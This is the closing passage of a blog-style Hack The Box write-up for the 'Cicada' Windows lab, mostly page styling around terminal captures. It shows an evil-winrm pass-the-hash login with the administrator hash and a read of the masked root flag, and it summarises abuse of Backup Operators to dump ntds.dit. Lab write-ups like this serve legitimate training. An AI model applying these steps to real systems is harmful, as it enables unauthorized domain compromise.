/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>The admin hash is found, and can be used to log in to WinRM.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/cicada</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">evil-winrm -i 10.129.198.55 -u administrator -H "2b87e7c93a3e8a0ea4a581937016f341"</span>
<span class="cmd-output">
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\Administrator\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">whoami</span>

<span class="win-output">cicada\administrator</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<h3 id="root-flag">Root Flag:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">CICADA-DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\Administrator\Desktop</span><span class="win-char">&gt;</span></span> <span class="win-cmd">type root.txt</span>

<span class="win-output">d2ef6ba8************************</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<hr />]]></content><author><name></name></author><category term="HTB" /><category term="Windows" /><category term="Easy" /><summary type="html"><![CDATA[Cicada is a nice easy box for practicing Windows enumeration and attacks. Foothold involves using `netexec`, `ldapdomaindump` and Impacket scripts to retrieve multiple sets of credentials from SMB and LDAP, and eventually getting a shell with WinRM. Once on the box, I’ll abuse the Backup Operators group membership to retrieve `ntds.dit` and extract the admin hash for an elevated shell.]]></summary></entry></feed>